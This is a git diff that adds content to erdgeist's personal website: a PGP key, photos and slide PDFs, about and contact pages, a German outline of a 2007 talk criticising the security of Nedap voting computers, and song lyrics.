206CzuL4SWaCJhOnMeBJ1G9Mf+TyxZXDTtfIGyXGa2GLoQ0f9jWkMb3VHui/4q4OXHH
207LMauUha3L1MTJlD2Gl31TSPTkR7ZKj2y45yeBmOMw3O4VeEofVm+/KlvIEZk+RwU
208gnsYy+xa1+uLv/PNFKeHgTvsMjdvVJGvNhiadS3q95yEHbVkPlsC7ORfyibDSFIg
2096PXDHM2+Xs17M4ftSfjYKHQ/nszl6Mm6F5wM1Xgvrve5/cVdei9m0RgyN3FC2Lsy
210kRsg9gICdy65BA0ESVt+PxAQANe07U61BSUzMmp/bcFgm9GNlJsO23MwB86lp/l/
2113e05VCvDnvU+SM0LvgYc2NkjNdQQ2erdz8r6lP0OGCfB+P2JpiArDiDxf/P4uJVm
212elNg9kNGpXiWD+i6lmkzYocZvpEPMr9tO/3vA7QuKcRPjaDyCu6DYLNTs7Ylhgnm
213tzrqJ2hfZgh1sVwBHij7cyPegjLJcoBsi1oyaMPYryzTaSZVlTi9jA4nGf65PmJQ
214VvpRSWXC5oqvifNX02I6gTwv2DKvMyxSmW3uluS1skeTqbAHfiw1jvCn2HCieVCG
215X94/3dyaEbuACdZ3EFW7jyhXiV97F7NV/vS2lojz4aWjm9zIBYG24LkwuuiITztf
216jLCS6SE37S26Jm3CKGHmnnr0RNaLRm48luDreFir3ps00AyRlVvWlf2+fIGNDP7i
217tct9A8uQjZbkw232OweZSHlej8HPoUIhFWco7EuiWHF6U4pjX4PBBMvZvAfiLqCZ
218hrSYwOZ/w3EMLKXiRW0F0LNrSGwKRjhLwAWTAqUeGk/GPlhexarUscnnqLV3JpcM
2199s98sl9/RuFsQvDHHjVdvz0DpSyEAKZvJWT2LhIrrTWP9O3BPeJW0Y3Vwvdk9hgg
2209DsWrWBhtUJylbVF8THdib7XUs03r+JnOVi9eDVLiIqYDAM3m+AOU34A0mm9k8/k
221bW1TAAMGEACdhP33apeEqH55ChUbb1s7+VjKhivQbMC1lY5Iq8AokoREVgcJgBnb
222EbfeySsy5LCe6L8RCpRopodqTM8darkIsCJOW5JsIPWMTpLceX8bH6IxGDKs/NVS
223RIRO0c4aIwmtbXSTagBWCUxUq2YAc56VqzVFyWLtxyZ+s+CCprDekvpuQ7Ge/AYp
224C+9TBFicUnBMLS2w0QsmYrUM79Y0KC6dynmju65bF8w6ymfBmBKak90N6k9iLjNK
225uv8Z6na3lafR9+hGUKkp0fPO1VXNbdIeQCqPXapBPheymHTGWE0iGA/p0LZpNatT
226vLjM5NTVWIGPe3feXNFyeZYNKCZWJjhS5xNISPUzyiFQhZz//X/+LxKbcbYAhx68
227IpjO0BpmKB8hjvW8+ugSukmSgPDPeDCrCEfYHWoXVVB2nCcnBd4aBBaAgLcVgKCE
228Znp3nHjMKcBb3Td1Ct5sT9mzmy41d8x4s+YbK5ytBOFa0UjVWHZMQ0L/eppOQ/FZ
2297wLPvnriRPVHhkDQlghrQQbC74HwMIivw4vibpKFyauyxhPT/WX9L9XJ6lPLZxmo
230CDL3tUkEtC/wNV6HRu52iTS5Dmn/NjR7EVMBhLVO/40oD+pn/ChLrmMeE0RFaJl5
231Jd1jjTsRKDstQalGz4D2uukW5qzVnki2ebyhriUad8CJrmn7EtYt3ohPBBgRAgAP
232AhsMBQJSHgfMBQkMhPCHAAoJELjdcBcqbDDTdHgAnRuYGu31e/LwJy33+rPT3YQ/
233fkD4AJ4ywrUQgfcajnNUngpkwo80J5RBXQ==
234=geRc
235-----END PGP PUBLIC KEY BLOCK-----
diff --git a/files/lectures/0zapftis.pdf b/files/lectures/0zapftis.pdf
new file mode 100644
index 0000000..241f94b
--- /dev/null
+++ b/files/lectures/0zapftis.pdf
Binary files differ
diff --git a/files/lectures/Cryptocon-Keynote.pdf b/files/lectures/Cryptocon-Keynote.pdf
new file mode 100644
index 0000000..96f9718
--- /dev/null
+++ b/files/lectures/Cryptocon-Keynote.pdf
Binary files differ
diff --git a/files/lectures/Little Big Data.pdf b/files/lectures/Little Big Data.pdf
new file mode 100644
index 0000000..cc1a218
--- /dev/null
+++ b/files/lectures/Little Big Data.pdf
Binary files differ
diff --git a/files/lectures/TrackerFahrn.pdf b/files/lectures/TrackerFahrn.pdf
new file mode 100644
index 0000000..6d91ee4
--- /dev/null
+++ b/files/lectures/TrackerFahrn.pdf
Binary files differ
diff --git a/files/lectures/Wahlcomputer_Talk.pdf b/files/lectures/Wahlcomputer_Talk.pdf
new file mode 100644
index 0000000..aefd1bb
--- /dev/null
+++ b/files/lectures/Wahlcomputer_Talk.pdf
Binary files differ
diff --git a/files/stats/blog/pics/100_0539.JPG b/files/stats/blog/pics/100_0539.JPG
new file mode 100644
index 0000000..8fff051
--- /dev/null
+++ b/files/stats/blog/pics/100_0539.JPG
Binary files differ
diff --git a/files/stats/blog/pics/Blumentopf.JPG b/files/stats/blog/pics/Blumentopf.JPG
new file mode 100755
index 0000000..434b37b
--- /dev/null
+++ b/files/stats/blog/pics/Blumentopf.JPG
Binary files differ
diff --git a/files/stats/blog/pics/CCCB.jpg b/files/stats/blog/pics/CCCB.jpg
new file mode 100644
index 0000000..5f8523a
--- /dev/null
+++ b/files/stats/blog/pics/CCCB.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Dank_allen_Helfern.jpg b/files/stats/blog/pics/Dank_allen_Helfern.jpg
new file mode 100644
index 0000000..3cc3394
--- /dev/null
+++ b/files/stats/blog/pics/Dank_allen_Helfern.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Drecksbotten.jpg b/files/stats/blog/pics/Drecksbotten.jpg
new file mode 100755
index 0000000..0805456
--- /dev/null
+++ b/files/stats/blog/pics/Drecksbotten.jpg
Binary files differ
diff --git a/files/stats/blog/pics/EinEis.jpg b/files/stats/blog/pics/EinEis.jpg
new file mode 100644
index 0000000..0c673f2
--- /dev/null
+++ b/files/stats/blog/pics/EinEis.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Garderobe.jpg b/files/stats/blog/pics/Garderobe.jpg
new file mode 100644
index 0000000..8d107a1
--- /dev/null
+++ b/files/stats/blog/pics/Garderobe.jpg
Binary files differ
diff --git a/files/stats/blog/pics/GutenMorgen.jpg b/files/stats/blog/pics/GutenMorgen.jpg
new file mode 100644
index 0000000..bbca155
--- /dev/null
+++ b/files/stats/blog/pics/GutenMorgen.jpg
Binary files differ
diff --git a/files/stats/blog/pics/IMG_3571_k.jpg b/files/stats/blog/pics/IMG_3571_k.jpg
new file mode 100644
index 0000000..5e4cfc6
--- /dev/null
+++ b/files/stats/blog/pics/IMG_3571_k.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Im-Herbst.jpg b/files/stats/blog/pics/Im-Herbst.jpg
new file mode 100644
index 0000000..574d521
--- /dev/null
+++ b/files/stats/blog/pics/Im-Herbst.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Kapelle.jpg b/files/stats/blog/pics/Kapelle.jpg
new file mode 100644
index 0000000..e6a21a2
--- /dev/null
+++ b/files/stats/blog/pics/Kapelle.jpg
Binary files differ
diff --git a/files/stats/blog/pics/KaputtesAuto.jpg b/files/stats/blog/pics/KaputtesAuto.jpg
new file mode 100644
index 0000000..401b3ed
--- /dev/null
+++ b/files/stats/blog/pics/KaputtesAuto.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Lofts.jpg b/files/stats/blog/pics/Lofts.jpg
new file mode 100644
index 0000000..31ccbd4
--- /dev/null
+++ b/files/stats/blog/pics/Lofts.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Maulhurpf.jpg b/files/stats/blog/pics/Maulhurpf.jpg
new file mode 100755
index 0000000..6d9f11e
--- /dev/null
+++ b/files/stats/blog/pics/Maulhurpf.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Planetarium.jpg b/files/stats/blog/pics/Planetarium.jpg
new file mode 100644
index 0000000..99e7410
--- /dev/null
+++ b/files/stats/blog/pics/Planetarium.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Rollern.jpg b/files/stats/blog/pics/Rollern.jpg
new file mode 100644
index 0000000..f43eae7
--- /dev/null
+++ b/files/stats/blog/pics/Rollern.jpg
Binary files differ
diff --git a/files/stats/blog/pics/ShirtCam1.jpg b/files/stats/blog/pics/ShirtCam1.jpg
new file mode 100644
index 0000000..599e74b
--- /dev/null
+++ b/files/stats/blog/pics/ShirtCam1.jpg
Binary files differ
diff --git a/files/stats/blog/pics/ShirtCam2.jpg b/files/stats/blog/pics/ShirtCam2.jpg
new file mode 100644
index 0000000..f15f307
--- /dev/null
+++ b/files/stats/blog/pics/ShirtCam2.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Studium.jpg b/files/stats/blog/pics/Studium.jpg
new file mode 100644
index 0000000..4756e63
--- /dev/null
+++ b/files/stats/blog/pics/Studium.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Volkspark.jpg b/files/stats/blog/pics/Volkspark.jpg
new file mode 100644
index 0000000..bef377f
--- /dev/null
+++ b/files/stats/blog/pics/Volkspark.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Wetter.jpg b/files/stats/blog/pics/Wetter.jpg
new file mode 100644
index 0000000..8bdd30c
--- /dev/null
+++ b/files/stats/blog/pics/Wetter.jpg
Binary files differ
diff --git a/files/stats/blog/pics/Wiesen.jpg b/files/stats/blog/pics/Wiesen.jpg
new file mode 100644
index 0000000..8e3ab92
--- /dev/null
+++ b/files/stats/blog/pics/Wiesen.jpg
Binary files differ
diff --git a/files/stats/blog/pics/bola.jpg b/files/stats/blog/pics/bola.jpg
new file mode 100644
index 0000000..8629f7e
--- /dev/null
+++ b/files/stats/blog/pics/bola.jpg
Binary files differ
diff --git a/files/stats/blog/pics/erste72.jpg b/files/stats/blog/pics/erste72.jpg
new file mode 100755
index 0000000..8d7f4e7
--- /dev/null
+++ b/files/stats/blog/pics/erste72.jpg
Binary files differ
diff --git a/files/stats/blog/pics/espresso-anden.jpg b/files/stats/blog/pics/espresso-anden.jpg
new file mode 100644
index 0000000..5dd2c06
--- /dev/null
+++ b/files/stats/blog/pics/espresso-anden.jpg
Binary files differ
diff --git a/files/stats/blog/pics/iCalShuffle.jpg b/files/stats/blog/pics/iCalShuffle.jpg
new file mode 100644
index 0000000..fadfae0
--- /dev/null
+++ b/files/stats/blog/pics/iCalShuffle.jpg
Binary files differ
diff --git a/files/stats/blog/pics/latte.jpg b/files/stats/blog/pics/latte.jpg
new file mode 100644
index 0000000..61e106e
--- /dev/null
+++ b/files/stats/blog/pics/latte.jpg
Binary files differ
diff --git a/files/stats/blog/pics/los_penisheads.jpg b/files/stats/blog/pics/los_penisheads.jpg
new file mode 100644
index 0000000..34d8048
--- /dev/null
+++ b/files/stats/blog/pics/los_penisheads.jpg
Binary files differ
diff --git a/files/stats/blog/pics/los_sombreros.jpg b/files/stats/blog/pics/los_sombreros.jpg
new file mode 100644
index 0000000..bb92d8e
--- /dev/null
+++ b/files/stats/blog/pics/los_sombreros.jpg
Binary files differ
diff --git a/files/stats/blog/pics/phNeutral.jpg b/files/stats/blog/pics/phNeutral.jpg
new file mode 100644
index 0000000..0fe8a64
--- /dev/null
+++ b/files/stats/blog/pics/phNeutral.jpg
Binary files differ
diff --git a/files/stats/blog/pics/stoertaste.jpg b/files/stats/blog/pics/stoertaste.jpg
new file mode 100644
index 0000000..48ad095
--- /dev/null
+++ b/files/stats/blog/pics/stoertaste.jpg
Binary files differ
diff --git a/files/stats/blog/pics/yor.jpg b/files/stats/blog/pics/yor.jpg
new file mode 100644
index 0000000..6f3c6dd
--- /dev/null
+++ b/files/stats/blog/pics/yor.jpg
Binary files differ
diff --git a/stories/about.rst b/stories/about.rst
new file mode 100644
index 0000000..ea24aa4
--- /dev/null
+++ b/stories/about.rst
@@ -0,0 +1,35 @@
1.. date: 1970/01/01 01:00
2.. title: about erdgeist
3.. slug: about/index
4.. hidetitle: yes
5
6.. class:: col-md-6 col-sm-12 col-xs-12 pull-right
7
8Kurzvita
9========
10
11Dirk Engling alias erdgeist, Baujahr 1978, arbeitet seit zwanzig Jahren im Bereich der elektronischen Problemlösung an Software für Mobiltelefone, hoch-skalierende Netzwerkdienste und kryptographische Systeme, seit über zehn Jahren selbständig.
12
13In seiner Freizeit arbeitet er als ehrenamtlicher Sprecher des Chaos Computer Club und an diversen Projekten als Autor freier Software.
14
15.. class:: col-md-6 col-sm-12 col-xs-12 pull-left
16
17about erdgeist
18==============
19
20Dirk Engling aka erdgeist, born in 1978, is a freelance software engineer solving all kinds of electronic problems on mobile phones, highly scalable network services and cryptography software.
21
22In his spare time he volunteers as spokes person for the German hacker's association Chaos Computer Club and is author of and contributor to several open source projects.
23
24.. class:: col-md-10 col-sm-9 col-xs-12
25
26Press photos
27============
28
29.. thumbnail:: Dirk_Engling_Press_3.jpg
30.. thumbnail:: Dirk_Engling_Press_4.jpg
31.. thumbnail:: Dirk_Engling_Press_5.jpg
32.. thumbnail:: Dirk_Engling_Press_2.jpg
33.. thumbnail:: Dirk_Engling_Press_6.jpg
34.. thumbnail:: Dirk_Engling_Press_1.jpg
35
diff --git a/stories/beerware.md b/stories/beerware.md
new file mode 100644
index 0000000..f53cd67
--- /dev/null
+++ b/stories/beerware.md
@@ -0,0 +1,8 @@
1<!--
2title: beerware
3slug: /beerware.txt
4-->
5
6The beerware license is very open, close to public domain, but insists on honoring the original author by just not claiming that the code is yours. Instead assume that someone writing Open Source Software in the domain you’re obviously interested in would be a nice match for having a beer with.
7
8So, just keep the name and contact details intact and if you ever meet the author in person, just have an appropriate brand of sparkling beverage choice together. The conversation will be worth the time for both of you.
diff --git a/stories/index.rst b/stories/index.rst
new file mode 100644
index 0000000..feb1338
--- /dev/null
+++ b/stories/index.rst
@@ -0,0 +1,61 @@
1.. link:
2.. description: erdgeist is a Berlin based freelance and open source developer and political activist.
3.. tags:
4.. date: 1970/01/01 01:00:00
5.. title: main
6.. slug: index
7.. hidetitle: yes
8
9.. class:: col-md-12 pull-left
10
11erdgeist is a Berlin based freelance and open source developer and political activist. Feel free to stroll around in the public parts of his brain.
12
13.. class:: col-md-6 pull-right
14
15Contact
16=======
17
18Write an email to erdgeist@erdgeist.org preferredly PGP encrypted, `the key </key.asc>`_, fingerprint: 68D0 5298 6E09 BF62 94B8 4DD0 B8DD 7017 *2A6C 30D3*. Reach me via Jabber at `<xmpp:erdgeist@erdgeist.org>`_, where my OTR fingerprint is 7A4BC16B 479D4D10 EAC30B3B B52FD269 ADF818E3.
19
20Follow `@erdgeist <https://twitter.com/erdgeist>`_ on Twitter. Listen to the `OHM podcast <http://monoxyd.de/category/ohm>`_ with monoxyd and CCC's `monthly radio show Chaosradio <http://chaosradio.ccc.de/>`_. Look out for contributions to `Die Datenschleuder <http://ds.ccc.de/>`_ and `www.ccc.de <http://www.ccc.de/>`_, sporadically also on `Frühstücksblog <http://morgen.monoxyd.de>`_. Get `the book 1984.exe <http://www.amazon.de/1984-exe-Gesellschaftliche-politische-juristische-Überwachungstechnologien/dp/3899427661>`_.
21
22.. class:: col-md-6 pull-left
23
24Software projects
25=================
26
27.. post-list::
28 :all:
29 :tags: project
30 :template: list_projects.tmpl
31 :id: projects
32 :sort: prio
33 :reverse:
34
35
36Unless state otherwise, the software is released under `beerware license </beerware.html>`_. Some project's documentation is not yet migrated. You can also browse around my `gitweb </gitweb>`_.
37
38.. class:: col-md-6 col-sm-12 col-xs-12 pull-right
39
40Blog
41====
42
43.. post-list::
44 :stop: 7
45 :template: list_blogposts.tmpl
46
47
48.. class:: col-md-6 pull-left
49
50Playground
51==========
52
53See the `lecture about opentracker <http://media.ccc.de/browse/congress/2007/24c3-2355-de-trecker_fahrn.html#video>`_ on 24C3 (`slides <lectures/TrackerFahrn.pdf>`_), `Wahlcomputer in Erlangen <lectures/Wahlcomputer>`_, Format String Exploits, see the interviews and TV show contributions (todo).
54
55Skypixels are helium balloons lit by independent LED boards remote controlled by a NFR2401 controller.
56
57GodMachine was an installation in the Dresden Museum of hygiene, allowing visitors to control the weather by gestures.
58
59Laserharfe is a music instrument built together with friends. It converts hands moving in laser beams to MIDI signals and works on off the shelf electronics.
60
61Some rather personal content, `songs I wrote or recorded <music>`_, some in my former band, Pumpanickle. `Poetry I wrote </poetry>`_. Recently into selecting or writing intros for podcasts `alternativlos <https://alternativlos.org/>`_, turing galaxis, `Frühstücksblog podcast <http://morgen.monoxyd.de/category/podcast/>`_, `Neusprech <http://neusprech.org/kategorie/neusprechfunk/>`_, `Fnord News Show <http://media.ccc.de/browse/congress/2014/31c3_-_6109_-_de_-_saal_1_-_201412290015_-_fnord_news_show_-_frank_-_fefe.html#video>`_ and `OHM podcast <http://monoxyd.de/category/ohm>`_.
diff --git a/stories/lectures/Wahlcomputer.rst b/stories/lectures/Wahlcomputer.rst
new file mode 100644
index 0000000..b82a4f1
--- /dev/null
+++ b/stories/lectures/Wahlcomputer.rst
@@ -0,0 +1,95 @@
1.. title: Vortrag Wahlcomputer
2.. date: 2007/07/13 20:00
3.. slug: Wahlcomputer/index
4.. tags: lectures
5
61 Intro
7=======
8
9Hier sind die `Slides <../Wahlcomputer_Talk.pdf>`_
10
112 Unsere Motivation, uns dem Problem zu widmen
12==============================================
13
14Geschichte aus dem Wahllokal nach der Wende
15
163 Deren Motivation, Wahlcomputer einzuführen
17============================================
18
19* Kosten, Geschwindigkeit der Auszählung, Komplexere Wahlverfahren, neue Wahloptionen
20* Personalbedarf, Eindeutigkeit, Vereinfachung des Wahlablaufs, Wahlbeteiligung
21* direkte Demokratie
22
234 Grundsätzliche Probleme von Wahlcomputern
24===========================================
25* Menschen haben keine eingebauten Messinstrumente
26* von aussen ist ein manipulierter Wahlcomputer nicht zu erkennen
27* Delegation des Vertrauens von den eigenen Augen in ein Messinstrument
28* Komplexere Wahlverfahren nicht immer zugunsten des Wählers
29* Manipulation Eingabe/Ausgabegeräte (EC-Kartenautomat)
30* Hohe Dynamik, moderne Computer NOCH mehr Probleme
31
325 Realistische Angriffsszenarien
33================================
34
35* Motivation ist hoch: Gemeinden verfügen über mehrere Millionen EUR Mittel
36* Bundesregierungen deutlich mehr
37* Persoenliche Schicksale (Guus te Meerman), Firmen, die bestimmte Politiker unterstützen
38* Zugriff gerade durch Innentäter, Vergleich mit Wahlkampfetat
39* knapper Wahlausgang, wenige Computer reichen
40
416 Spezielle Betrachtung der Impementierung von Nedap
42====================================================
43
44* Gekauft, aufgemacht reingeguckt, disassembliert
45* Bewusstsein, dass man auch ohne Kenntnis von Quellcode reverseengineeren kann, gab es nicht
46* Geheimhalten des Quellcodes erschwerte also nur die eine unabhaengige Ueberpruefung, keinen Angriff
47* Ausleihe ins Ausland
48* PTB prüft in "Küngelrunde" die Wahlcomputer
49
507 Spezielle Herausforderungen durch Nedap
51=========================================
52
53* Dedicated special purpose computer, I’d like to see chess running on this one. - “Okay.”
54* Tom Kerrigan's Simple Chess Program
55
569 Unsere Komplettübernahme
57==========================
58
59* Unsere Kenntnisse über die Hardware waren am Ende besser als die des Herstellers selber
60* Problemlos wurde das vorhandene Wahlprogramm manipuliert
61* Austausch des programmspeichers bei einem geschlossenen Wahlcomputer dauert weniger als eine Minute
62* GEHEIM/SERVICE - Hintertür
63
6410 Probleme neben der Manipulationsmöglichkeit
65==============================================
66
67* Abstrahlung - Wahlgeheimnis
68* Übertragung vom Stimmenspeicher
69* vertrauensvoll naive Grundhaltung ggü dem Wahlcomputer
70* Wahlcomputer Verlangsamen in bestimmten Wahlkreisen
71* Abhängigkeit vom Wohlwollen des Herstellers
72
7311 Die Versuche, das System (nachträglich) abzusichern
74======================================================
75
76* PTB-Sonderüberprüfung
77* Testwahlen
78* Prüfsummen
79* Schlüssel (Briefkasten ist sicherer)
80* Siegel
81
8212 Warum diese Versuche zum Scheitern verurteilt sind
83=====================================================
84
85* Preisdruck auch beim Hersteller
86* Gesicherte Umgebungen im Alltag nicht gegeben
87* Gegen Innentäter helfen die Massnahmen nicht
88
8913 Abgang
90=========
91
92* Dem Wähler ist eine effektive Kontrolle und Verifikation der Wahlen nicht mehr möglich
93* In der DDR wären die Wahlfälschungen mit Wahlcomputern nicht aufgefallen
94* Die OSZE fordert für Wahlen in instabilen System Einsatzverbot
95* Immer weniger Menschen können das System begutachten
diff --git a/stories/music/Alte_Zeiten.rst b/stories/music/Alte_Zeiten.rst
new file mode 100644
index 0000000..4e02daa
--- /dev/null
+++ b/stories/music/Alte_Zeiten.rst
@@ -0,0 +1,62 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1998/08/03 19:10:08
5.. title: Alte Zeiten
6.. slug: ../arts/music/Alte_Zeiten
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Alte_Zeiten.mp3" type="audio/mpeg"><a href="Alte_Zeiten.mp3">Alte_Zeiten.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15============================================ ====
16Denkst du nicht gern zurück an alte Zeiten aGd
17Wo wir jeden Tag zusammngesessen ham EFC
18Mit total kaputten Leuten aGd
19Die wir doch lieb gewonnen ham gFC
20..
21Umsturz, Aufsturz, Absturz - Leute aGd
22War das nicht eine geile Zeit? EFC
23Doch wo befinden wir uns heute aGd
24Wir sind jetzt tot - es tut mir leid gFC
25..
26*Das war dann wohl, auf wiedersehen* CFCF
27*Ich glaub, ich buddel mich hier ein* DCG
28*Muß meinen Weg alleine gehn* EAEA
29*Sonst geht ihr mit mir ein* Fa
30..
31Irgendwas hat uns gefressen aGd
32Und verschluckt mit Haut und Haaren EFC
33Wie könnten wir denn sonst vergessen aGd
34Wie jung wir einmal waren gFC
35..
36Denn unsre alten Bräuche aGd
37Kommen uns jetzt kindisch vor EFC
38Wir kriegen dicke-, Waschbrett-, Babybäuche aGd
39Und die Zeit schreit uns ins Ohr gFC
40..
41*Das war dann wohl, auf wiedersehen* CFCF
42*Ich glaub, ich buddel mich hier ein* DCG
43*Muß meinen Weg alleine gehn* EAEA
44*Sonst geht ihr mit mir ein* Fa
45..
46Ich denk so oft ich bin allein aGd
47Red mir ein daß Einsamkeit mich heilt EFC
48Ich weiß auch du fühlst dich oft klein aGd
49Wir suchen den der unsre Armut teilt EFC
50..
51Schaust auch du verzweifelt in das Morgen aGd
52Suchst einen Grund nicht aufzugeben EFC
53Mußt dir die Impressionen borgen aGd
54Aus deinem längst verlornen Leben gFC
55..
56*Ach was auch du haßt deine Welt* CFCF
57*Ich denk ich grab mich wieder aus* DCG
58*Jedoch nicht, weil's mir gefällt* EAEA
59*Dies Ende säh sonst Scheiße aus!* Fa
60============================================ ====
61
62(`raw lyrics <AlteZeiten.txt>`_)
diff --git a/stories/music/Fine.rst b/stories/music/Fine.rst
new file mode 100755
index 0000000..da3bd2d
--- /dev/null
+++ b/stories/music/Fine.rst
@@ -0,0 +1,41 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 2004/08/03 19:10:08
5.. title: Fine
6.. slug: ../arts/music/Fine
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="Fine.mp3" type="audio/mpeg"><a href="Fine.mp3">Fine.mp3</a></audio>`
12
13.. class:: lyrics-chords
14
15============================================================ ===========
16Was brauche ich zum traurig sein, als nur die Zeit, g G# g F
17die mich erinnern macht an Einsamkeit g G# g B
18..
19Was will die Zeit von mir als nur zurueck, g G# g F
20was sie mir einst geliehn, g G#
21ich gehe mit ihr, Stueck um Stueck B F# F
22..
23*Ich stehe staunend nur vor den Truemmern meines Gluecks* B G# F# F
24*Und ich traeume nur, ich wuerd mich treffen hinterruecks* B G# F# F
25*ich glaub mir nicht, bin nicht verlassen, nur allein,* B G# F# F
26*und ich denke: dieses Leben wird niemals mein.* B g G# F# F
27..
28Du siehst mein Glas hier vor dir stehn, mehr als halb leer, g G# g F
29die letzte Runde ist schon lange her. g G# g B
30..
31Du zaehlst die Ringe nicht, denn was gefaellt g G# g F
32liegt eh zu Fuessen dir g G#
33und deiner gottverlassnen Welt B F# F
34..
35*Ich steh verwundert nur vor den Ruinen deines Spiels* B G# F# F
36*Und ich hoffe noch, dass du triffst, wohin du zielst* B G# F# F
37*ich glaub dir nicht. Du bist gelassen und gemein.* B G# F# F
38*und ich schwoere: dieses Leben wird niemals dein* G g G# F# F
39============================================================ ===========
40
41(`raw lyrics <Fine.txt>`_)
diff --git a/stories/music/Frau_Krüger.rst b/stories/music/Frau_Krüger.rst
new file mode 100644
index 0000000..5057aca
--- /dev/null
+++ b/stories/music/Frau_Krüger.rst
@@ -0,0 +1,53 @@
1.. link:
2.. description:
3.. tags: Liedermacher
4.. date: 1997/08/03 19:10:08
5.. title: Frau Krüger
6.. slug: ../arts/music/Frau-Krueger
7
8.. role:: raw-html(raw)
9 :format: html
10
11:raw-html:`<audio controls><source src="FrauKrüger.mp3" type="audio/mpeg"><a href="FrauKrüger.mp3">FrauKrüger.mp3</a></audio>`
12
13| Er war gerade zwölf Jahre alt
14| und spielte mit Freunden im Garten.
15| Da kam die alte Frau Krüger heim,
16| sie hatte sehr schwer zu tragen.
17|
18| Um seinen Freunden Mut zu zeigen,
19| folgte er der alten Krüger ins Haus
20| die Tür stand ja offen, und sie lag nackt,
21| wie sie gestorben war, in der Wanne.
22|
23| Er erzählte keinem von dem, was er sah,
24| und schlich sich spätabends aus dem Haus.
25|
26| *Bist du einmal tot, hast du noch lange nicht Ruh*
27| *Überleg dir genau ob stirbst*
28| *Denn liegst du erstmal auf dem Rücken*
29| *.....................................*
30|
31| Über Zwanzig Jahre später
32| ist er der Dorfpolizist
33| und sieht den Pathologen öfter
34| als seine eigene Frau
35|
36| Wasserleichen untersucht er selbst,
37| Erzählt den Kollegen, er sucht nach Beweisen
38|
39| *Ref.*
40|
41| Er hat stets vielmehr Fleisch im Haus,
42| als seine Frau einkauft
43| Und seine neue Kettensäge
44| ist noch nicht eingeweiht
45|
46| Nadia Krüger ist grad 12 geworden
47| feiert mit Freunden im Garten
48| Beim verstecke Spielen läuft sie in sein Haus
49| Keiner hat sie dort gefunden
50|
51| *Ref.*
52|
53| Fine
diff --git a/stories/music/From_Me_To_You.rst b/stories/music/From_Me_To_You.rst
new file mode 100644
index 0000000..d86492c
--- /dev/null
+++ b/stories/music/From_Me_To_You.rst
@@ -0,0 +1,37 @@
1.. link:
2.. description:
3.. tags: pumpanickle
4.. date: 2004/12/03 19:10:08
5.. title: From me to you
6.. slug: ../arts/music/From_Me_To_You
7
8.. role:: raw-html(raw)
9 :format: html
10
11We've proudly made a music video of this song:
12
13:raw-html:`<video controls><source src="From%20Me%20To%20You.mp4" type="audio/mpeg"><a href="From%20Me%20To%20You.mp4">From%20Me%20To%20You.mp4</a></video>`
14
15| I was roaming round your house the other day,
16| Kept on thinking of the things that you might say.
17| And when I stumbled all the stairs up to your room,
18| I was was preparing for my own and special doom, (now listen! ohh)
19|
20| *From me to you, could what I hear and what they say be true*
21| *From me to you, as long as I don't know, I'm blue*
22|
23| So I sneaked up on you and found you on your chair,
24| I looked around and I saw flowers everywhere.
25| The day was closing and you stared into the gloom,
26| there and then I found my own and special doom, (they're saying! ohh)
27|
28| *From me to you, now what I heard and what they said is true*
29| *From me to you, I'm lonely now and I feel blue*
30| *From me to you is everything a want to hide*
31| *From me to you comes everything I want to keep inside*
32|
33| *From me to you, now what I heard and what they said was true*
34| *From me to you, I'm lonely now and I feel blue*
35| *From me to you, what does it mean to you, at all*
36| *From me to you is everything I want you to recall*
37|
diff --git a/stories/music/Hero.rst b/stories/music/Hero.rst
new file mode 100644
index 0000000..c5b9eb1
--- /dev/null
+++ b/stories/music/Hero.rst
@@ -0,0 +1,64 @@
1.. link:
2.. description:
3.. tags: pumpanickle
4.. date: 2002/12/03 19:10:08
5.. title: Hero
6.. slug: ../arts/music/Hero
7
8.. role:: raw-html(raw)
9 :format: html
10
11The song comes in two recordings
12
13:raw-html:`<audio controls><source src="Herov1.mp3" type="audio/mpeg"><a href="Herov1.mp3">Herov1.mp3</a></audio>`
14
15:raw-html:`<audio controls><source src="Herov2.mp3" type="audio/mpeg"><a href="Herov2.mp3">Herov2.mp3</a></audio>`
16
17| Standing right above, watch the battlefield below,
18| thinking back of time that we did spend
19| Together we did walk and together we did stand
20| ready to see the holy land
21|
22| Together we did stand and together we did fight
23| those days we never thought, that our feelings weren't alright,
24| now looking back in vain I never would complain,
25| 'cos I'm your hero now...
26|
27| *I'm your hero of the day, I'm your hero of the day*
28| *maybe you'll be miles away, maybe I lead you astray,*
29| *now I'm your hero of the day, I'm your hero of the day*
30| *praise the lord and sing hoo- right or wrong*
31| *I'd never count the days we passed along.*
32|
33| Waking up to see, that you are back with me,
34| watching the battlefield above.
35| Together we did fight and together we did lose
36| leaving out no other way to chose.
37|
38| Together we did stumble and together we did fall,
39| you figured out we were not better than them all
40| Then I left you behind, have I really been so blind?
41| I'm still your hero, hey...
42|
43| *I'm your hero of the day, I'm your hero of the day*
44| *maybe you'll be miles away, maybe I lead you astray,*
45| *now I'm your hero of the day, I'm your hero of the day*
46| *praise the lord and sing hoo- right or wrong*
47| *I'd never count the days we passed along.*
48|
49| Looking at you now, really makes me thinking wow,
50| you did it, you are one of them.
51| Together you will stand, and together you will fight,
52| the idols, we had way back, then.
53|
54| I know together you will win and together you will kill
55| me, my brothers, my family, my free will
56| But not without a fight, I still believe I'm right.
57| And you're my hero, right!
58|
59| *You're my hero of the day, you're my hero of the day,*
60| *maybe I'll be miles away, maybe you lead me astray,*
61| *well I hate you all the day, now, I hate you all the day*
62| *praise the lord and sing hoo- right or wrong*
63| *I'd never count the days we passed along.*
64
diff --git a/stories/music/Hoerig.rst b/stories/music/Hoerig.rst
new file mode 100644
index 0000000..9594739
--- /dev/null
+++ b/stories/music/Hoerig.rst
@@ -0,0 +1,42 @@
1.. link:
2.. description:
